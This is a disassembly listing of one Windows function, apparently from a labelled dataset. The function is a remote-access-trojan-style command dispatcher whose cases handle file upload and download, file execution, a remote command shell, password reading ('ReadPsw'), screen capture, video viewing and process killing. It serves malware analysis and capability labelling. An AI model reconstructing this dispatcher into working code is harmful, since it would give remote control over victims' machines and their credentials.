Function at 0x40df60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411e34
mov eax, dword fs:[0]
push eax
mov eax, 0x4868
call fcn.00411250
mov eax, dword [0x41a014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4838], ecx
mov byte [ebp - 0x4841], 1
mov eax, 1
test eax, eax
je 0x40eafe
mov ecx, dword [ebp - 0x4838]
movzx edx, byte [ecx]
test edx, edx
jne 0x40dfbd
jmp 0x40eafe
push 0x1004
push 0
lea eax, [ebp - 0x2370]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov byte [ebp - 0x4839], 1
lea ecx, [ebp - 0x4839]
push ecx
push 0x1004
lea edx, [ebp - 0x2370]
push edx
mov eax, dword [ebp - 0x4838]
mov ecx, dword [eax + 0x2a4]
push ecx
mov ecx, dword [ebp - 0x4838]
add ecx, 8
call fcn.0040a110
mov dword [ebp - 0x4874], eax
cmp dword [ebp - 0x4874], 0
jne 0x40eaf7
movzx edx, byte [ebp - 0x4839]
test edx, edx
je 0x40eaf5
mov eax, dword [ebp - 0x2370]
mov dword [ebp - 0x4840], eax
mov ecx, dword [ebp - 0x4840]
sub ecx, 3
mov dword [ebp - 0x4840], ecx
cmp dword [ebp - 0x4840], 0x24
ja case.0x40e058.7
mov edx, dword [ebp - 0x4840]
jmp dword [edx*4 + 0x40eb1c]
push str.Control_CMD:_GET_Disk_Info_n
call fcn.00406d00
add esp, 4
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x4838]
add ecx, 0x10
call fcn.00406dc0
jmp 0x40eaf5
push str.Control_CMD:_GET_File_List_Info_n
call fcn.00406d00
add esp, 4
mov ecx, 0x82
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x628]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x628]
push edx
mov ecx, dword [ebp - 0x4838]
add ecx, 0x10
call fcn.00407030
jmp 0x40eaf5
push str.Control_CMD:_DownLoad_File_Info_n
call fcn.00406d00
add esp, 4
push 0x10c
push 0
lea eax, [ebp - 0x114c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x41
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x1144]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1148], ecx
mov edx, dword [ebp - 0x4838]
add edx, 0x1c
mov dword [ebp - 0x114c], edx
push 0
push 0
lea eax, [ebp - 0x114c]
push eax
push 0x40ebb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40eaf5
push str.Control_CMD:_UpLoad_File___n
call fcn.00406d00
add esp, 4
mov ecx, 0x82
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x830]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x830]
push ecx
mov ecx, dword [ebp - 0x4838]
add ecx, 0x1c
call fcn.004097c0
jmp 0x40eaf5
push str.Control_CMD:_File_Data_UpLoad___n
call fcn.00406d00
add esp, 4
push 0x20c
push 0
lea edx, [ebp - 0x257c]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x83
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x257c]
rep movsd dword es:[edi], dword [esi]
sub esp, 0x20c
mov ecx, 0x83
lea esi, [ebp - 0x257c]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x4838]
add ecx, 0x1c
call fcn.00409860
jmp 0x40eaf5
push str.Control_CMD:_File_Execute___n
call fcn.00406d00
add esp, 4
xor eax, eax
mov word [ebp - 0x218], ax
push 0x206
push 0
lea ecx, [ebp - 0x216]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x82
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x218]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 0x4838]
add ecx, 0x1c
call fcn.00409900
jmp 0x40eaf5
push str.Control_CMD:_Refresh___n
call fcn.00406d00
add esp, 4
mov ecx, 0x82
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0xa38]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0xa38]
push edx
mov ecx, dword [ebp - 0x4838]
add ecx, 0x10
call fcn.00407030
jmp 0x40eaf5
push str.Control_CMD:_Create_Directory___n
call fcn.00406d00
add esp, 4
mov ecx, 0x82
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0xc40]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xc40]
push ecx
mov ecx, dword [ebp - 0x4838]
add ecx, 0x10
call fcn.00407450
jmp 0x40eaf5
push str.Control_CMD:_File_Folder__Delete___n
call fcn.00406d00
add esp, 4
push 0x220
push 0
lea edx, [ebp - 0x136c]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x86
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x1364]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1368], eax
mov ecx, dword [ebp - 0x4838]
add ecx, 0x10
mov dword [ebp - 0x136c], ecx
push 0
push 0
lea edx, [ebp - 0x136c]
push edx
push 0x40ec50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40eaf5
push str.Control_CMD:_File_Copy___n
call fcn.00406d00
add esp, 4
push 0x412
push 0
lea eax, [ebp - 0x33b4]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x104
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x33b4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
sub esp, 0x414
mov ecx, 0x104
lea esi, [ebp - 0x33b4]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [ebp - 0x4838]
add ecx, 0x10
call fcn.00407cc0
jmp 0x40eaf5
push str.Control_CMD:_File_Paste___n
call fcn.00406d00
add esp, 4
xor ecx, ecx
mov word [ebp - 0x420], cx
push 0x206
push 0
lea edx, [ebp - 0x41e]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x82
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x420]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x420]
push ecx
mov ecx, dword [ebp - 0x4838]
add ecx, 0x10
call fcn.00407d00
jmp 0x40eaf5
push str.Control_CMD:_File_Rename___n
call fcn.00406d00
add esp, 4
push 0x412
push 0
lea edx, [ebp - 0x37c8]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x104
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x37c8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [ebp + 8]
push eax
sub esp, 0x414
mov ecx, 0x104
lea esi, [ebp - 0x37c8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [ebp - 0x4838]
add ecx, 0x10
call fcn.00407f80
jmp 0x40eaf5
push str.Control_CMD:_Attribute___n
call fcn.00406d00
add esp, 4
push 0x448
push 0
lea ecx, [ebp - 0x4030]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x112
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x4030]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 8]
push edx
sub esp, 0x448
mov ecx, 0x112
lea esi, [ebp - 0x4030]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x4838]
add ecx, 0x1c
call fcn.004099f0
jmp 0x40eaf5
push str.Control_CMD:_CMD_connect___n
call fcn.00406d00
add esp, 4
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x4838]
add ecx, 0x24
call fcn.00406890
push 0
push 0
mov ecx, dword [ebp - 0x4838]
add ecx, 0x24
push ecx
push 0x40ecf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
mov edx, dword [ebp - 0x4838]
add edx, 0x24
push edx
push 0x40ed10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40eaf5
push str.Control_CMD:_Recv_CMDShell_Commond___n
call fcn.00406d00
add esp, 4
mov byte [ebp - 0x1040], 0
push 0x3ff
push 0
lea eax, [ebp - 0x103f]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x404
push 0
lea ecx, [ebp - 0x2fa0]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x101
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x2fa0]
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x2f9c]
push edx
push 0x400
lea eax, [ebp - 0x1040]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
lea ecx, [ebp - 0x1040]
push ecx
mov ecx, dword [ebp - 0x4838]
add ecx, 0x24
call fcn.00406bb0
jmp 0x40eaf5
push str.Control_CMD:_Recv_Chat_Msg__n
call fcn.00406d00
add esp, 4
push 0x802
push 0
lea edx, [ebp - 0x4834]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x200
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x4834]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movzx eax, byte [ebp - 0x4834]
test eax, eax
je 0x40e624
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x4838]
add ecx, 0x90
call fcn.00406190
push 0
push 0
mov edx, dword [ebp - 0x4838]
add edx, 0x90
push edx
push 0x40ed30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x4838]
add ecx, 0x90
call fcn.004066c0
test eax, eax
je 0x40e661
sub esp, 0x804
mov ecx, 0x200
lea esi, [ebp - 0x4834]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [ebp - 0x4838]
add ecx, 0x90
call fcn.00406410
jmp 0x40eaf5
push str.Control_CMD:_View_Progress_Information__n
call fcn.00406d00
add esp, 4
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x4838]
add ecx, 0x250
call fcn.0040cdd0
jmp 0x40eaf5
push str.Control_CMD:_Taskkill_Progress__n
call fcn.00406d00
add esp, 4
push 0x420
push 0
lea ecx, [ebp - 0x3be8]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x108
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x3be8]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 8]
push edx
sub esp, 0x420
mov ecx, 0x108
lea esi, [ebp - 0x3be8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x4838]
add ecx, 0x250
call fcn.0040cdf0
jmp 0x40eaf5
push str.Control_CMD:_ReadPsw__n
call fcn.00406d00
add esp, 4
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x4838]
add ecx, 0x254
call fcn.0040a840
jmp 0x40eaf5
push str.Control_CMD:_Recv_Screen__n
call fcn.00406d00
add esp, 4
mov ecx, dword [ebp - 0x4838]
mov edx, dword [ebp + 8]
mov dword [ecx + 0x258], edx
push 0x415282
lea ecx, [ebp - 0x4848]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_char_StrTraitMFC_DLL_char_ATL::ChTraitsCRT_char__2]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x236c]
push eax
push 0x416444
lea ecx, [ebp - 0x4848]
push ecx
call dword [sym.imp.mfc140u.dll_ATL::CStringT_char_StrTraitMFC_DLL_char_ATL::ChTraitsCRT_char_]
add esp, 0xc
lea edx, [ebp - 0x4848]
push edx
push 0x416448
call fcn.00410010
add esp, 8
movzx eax, al
test eax, eax
je 0x40e7c1
mov ecx, dword [ebp - 0x4838]
mov byte [ecx + 0x260], 1
push 0
push 0
mov edx, dword [ebp - 0x4838]
add edx, 0x258
push edx
push 0x40ed60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4838]
mov dword [ecx + 0x25c], eax
jmp 0x40e7e1
mov edx, dword [ebp - 0x4838]
mov byte [edx + 0x260], 0
mov eax, dword [ebp - 0x4838]
mov ecx, dword [eax + 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4848]
call dword [sym.imp.mfc140u.dll_Ordinal_1046]
jmp 0x40eaf5
push str.Control_CMD:_View_Video___n
call fcn.00406d00
add esp, 4
push 0x415283
lea ecx, [ebp - 0x484c]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_char_StrTraitMFC_DLL_char_ATL::ChTraitsCRT_char__2]
mov dword [ebp - 4], 1
lea edx, [ebp - 0x236c]
push edx
push 0x41646c
lea eax, [ebp - 0x484c]
push eax
call dword [sym.imp.mfc140u.dll_ATL::CStringT_char_StrTraitMFC_DLL_char_ATL::ChTraitsCRT_char_]
add esp, 0xc
lea ecx, [ebp - 0x484c]
push ecx
push 0x416470
call fcn.00410010
add esp, 8
movzx edx, al
test edx, edx
je 0x40e8a7
xor eax, eax
mov dword [ebp - 0x4868], eax
mov dword [ebp - 0x4864], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x4864], ecx
mov edx, dword [ebp - 0x4838]
mov dword [ebp - 0x4868], edx
mov byte [0x41a671], 0
push 0
push 0
lea eax, [ebp - 0x4868]
push eax
push 0x40ed80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4838]
mov dword [ecx + 0x288], eax
jmp 0x40e8c1
mov byte [0x41a671], 1
mov edx, dword [ebp - 0x4838]
mov eax, dword [edx + 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x484c]
call dword [sym.imp.mfc140u.dll_Ordinal_1046]
jmp 0x40eaf5
xor ecx, ecx
mov dword [ebp - 0x4860], ecx
mov edx, dword [ebp - 0x236c]
mov dword [ebp - 0x4860], edx
mov eax, dword [ebp - 0x4860]
mov dword [ebp - 0x4850], eax
cmp dword [ebp - 0x4850], 0
je 0x40e916
cmp dword [ebp - 0x4850], 1
je 0x40e923
cmp dword [ebp - 0x4850], 2
je 0x40e930
jmp 0x40e93b
mov ecx, dword [ebp - 0x4838]
call fcn.0040eea0
jmp 0x40e93b
mov ecx, dword [ebp - 0x4838]
call fcn.0040eec0
jmp 0x40e93b
mov ecx, dword [ebp - 0x4838]
call fcn.0040eee0
jmp 0x40eaf5
push 0x415292
lea ecx, [ebp - 0x4854]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_char_StrTraitMFC_DLL_char_ATL::ChTraitsCRT_char__2]
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x236c]
push ecx
push 0x416478
lea edx, [ebp - 0x4854]
push edx
call dword [sym.imp.mfc140u.dll_ATL::CStringT_char_StrTraitMFC_DLL_char_ATL::ChTraitsCRT_char_]
add esp, 0xc
lea eax, [ebp - 0x4854]
push eax
push 0x41647c
call fcn.00410010
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x40e9c7
mov edx, dword [ebp - 0x4838]
mov eax, dword [ebp + 8]
mov dword [edx + 0x28c], eax
mov ecx, dword [ebp - 0x4838]
add ecx, 0x28c
call fcn.00405a20
movzx ecx, al
test ecx, ecx
je 0x40e9c7
mov ecx, dword [ebp - 0x4838]
add ecx, 0x28c
call fcn.00405ad0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4854]
call dword [sym.imp.mfc140u.dll_Ordinal_1046]
jmp 0x40eaf5
push 0x620
push 0
lea edx, [ebp - 0x2b9c]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x188
lea esi, [ebp - 0x236c]
lea edi, [ebp - 0x2b9c]
rep movsd dword es:[edi], dword [esi]
movzx eax, byte [ebp - 0x2b9c]
test eax, eax
je 0x40ea5c
xor ecx, ecx
mov dword [ebp - 0x4870], ecx
mov dword [ebp - 0x486c], ecx
mov edx, dword [ebp - 0x4838]
mov dword [ebp - 0x4870], edx
lea eax, [ebp - 0x2b9c]
mov dword [ebp - 0x486c], eax
push 0
push 0
lea ecx, [ebp - 0x4870]
push ecx
push 0x40efd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40ea79
mov edx, dword [ebp - 0x2580]
push edx
lea eax, [ebp - 0x2990]
push eax
lea ecx, [ebp - 0x2788]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x40eaf5
xor edx, edx
mov dword [ebp - 0x485c], edx
mov dword [ebp - 0x4858], edx
mov eax, dword [ebp - 0x236c]
mov dword [ebp - 0x485c], eax
mov ecx, dword [ebp - 0x2368]
mov dword [ebp - 0x4858], ecx
cmp dword [ebp - 0x485c], 3
jne 0x40eacd
push 0
push 0
mov edx, dword [ebp - 0x4838]
push edx
push 0x40fad0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40eae6
mov eax, dword [ebp - 0x4858]
push eax
mov ecx, dword [ebp - 0x485c]
push ecx
mov ecx, dword [ebp - 0x4838]
call fcn.0040f9c0
jmp 0x40eaf5
push str.Control_CMD:_UnKnow_Command_n
call fcn.00406d00
add esp, 4
jmp 0x40eaf9
jmp 0x40eafe
jmp 0x40df9e
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004102f6
mov esp, ebp
pop ebp
ret 4